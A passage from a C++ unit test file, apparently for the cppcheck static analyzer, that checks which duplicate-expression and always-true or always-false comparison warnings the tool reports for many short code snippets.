ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. 